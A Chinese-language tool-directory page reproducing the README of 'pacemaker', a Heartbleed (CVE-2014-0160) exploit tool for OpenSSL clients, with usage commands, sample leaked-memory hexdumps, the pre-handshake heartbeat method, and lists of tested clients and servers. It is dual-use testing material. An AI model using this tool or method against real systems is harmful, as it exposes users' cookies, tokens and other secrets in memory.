Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pacemaker — Heartbleed (CVE-2014-0160) 客户端漏洞利用 | Kitploit
工具/GitHubGitHub/lekensteyn/pacemaker
漏洞分析漏洞利用Web安全网络安全密码学渗透测试
GitHublekensteyn/pacemaker

pacemaker

Heartbleed (CVE-2014-0160) 客户端漏洞利用

查看仓库
330791110年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Pacemaker

尝试滥用存在 Heartbleed(CVE-2014-0160)漏洞的 OpenSSL 客户端。兼容 Python 2 和 3。

我是否易受攻击?

运行服务器:

python pacemaker.py

在您的客户端中,打开 https://localhost:4433/(如有需要请替换主机名)。例如:

curl https://localhost:4433/

客户端将始终无法连接:

curl: (35) Unknown SSL protocol error in connection to localhost:4433

如果您不易受攻击,服务器会输出类似以下内容:

Connection from: 127.0.0.1:40736
Possibly not vulnerable

如果您确实易受攻击,则会看到类似以下内容:

Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............

此后全为 NUL 字节的行会像 xxd 工具那样折叠为带 * 的一行。

以下示例展示了使用 wget -O /dev/null https://google.com https://localhost:4433 泄漏更多“有趣”内存的情况:

Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

它是如何工作的?

TLS 心跳可以由 TLS 连接的任何一方发送。握手完成后,这些心跳是加密的。但显然 OpenSSL 允许在握手完成之前发送心跳消息。这些心跳(位于记录层之上)完全没有加密!

这使得在客户端上利用该漏洞变得非常容易:

  1. 等待包含 TLS 版本和密码套件的 ClientHello。
  2. 发送包含相同 TLS 版本和密码套件的 ServerHello(以防止握手失败)。
  3. 此时,服务器可以随意发送任意数量的心跳请求。

请注意,无需任何证书,因为在交换任何证书或加密密钥之前就会接受心跳。由于心跳请求的长度未经检查,可以从客户端内存中读取最多 64 kiB 的内存。

pacemaker 执行上述步骤,如果第 3 步返回的数据不是 Alert,则假定客户端不易受攻击。如果某些协议需要(例如带 STARTTLS 的 SMTP),会在 TLS 握手开始前交换额外的数据。

高级用法

运行 ./pacemaker.py -h 以获取更多选项。最重要的选项可能是 -t(--timeout)和 -x(--count)。默认超时时间为 3 秒,对于大多数客户端来说应该足以响应(除非有卫星链路之类的情况)。

例如,每个心跳更耐心(5 秒)并获取四个心跳响应:

./pacemaker.py -t 5 -x 4

理论上,现在心跳可能需要二十秒,但实际上您会更快地收到响应。

已测试的客户端

以下客户端已在 Arch Linux 上针对 OpenSSL 1.0.1f 进行了测试,并在握手前泄漏了内存:

  • MariaDB 5.5.36
  • wget 1.15(泄漏之前连接及自身状态的内存)
  • curl 7.36.0(https,配合 --ftp-ssl 使用 FTP/IMAP/POP3/SMTP)
  • git 1.9.1(测试了 clone / push,泄漏不多)
  • nginx 1.4.7(代理模式下泄漏先前请求的内存)
  • links 2.8(泄漏之前访问的内容!)
  • KDE 4.12.4(kioclient、Dolphin,使用 kde4-ftps-kio 测试了 https 和 ftps)
  • Exim 4.82(外发 SMTP)

links 是一个很好的例子,展示了该漏洞对客户端的影响。它是一个基于文本的浏览器,会泄漏包括标头(cookie、授权令牌)和页面内容在内的详细信息。

许可证

pacemaker 根据 MIT 许可证授权。有关更多详细信息,请参阅 LICENSE 文件。

heartbleed.py

这是一个使用 pacemaker 构造数据包的实现。需要注意的是,每次尝试都需要建立新连接,因为服务器在返回第一个心跳响应后会立即重置连接。

这个限制源于所采用的方法,如果客户端也完成握手,那么就可以发送许多加密握手而不会出现连接失败。

heartbleed.py 是 pacemaker 的一部分,因此适用相同的许可证条款。

已测试的服务器

以下服务器已在 Arch Linux 上针对 OpenSSL 1.0.1f 进行了测试(除非另有说明):

  • openssl s_server(HTTPS)
  • nginx 1.4.7(HTTPS)
  • Dovecot 2.2.11(IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1(显式 FTP)
  • Exim 4.82(SMTP)

ssltest.py

此仓库还包含一个针对服务器的工作版本。ssltest.py 由 Jared Stafford([email protected])创建,所有功劳都应归功于他!它取自 http://s3.jspenguin.org/ssltest.py。

目前,该脚本仅兼容 Python 2。

下载工具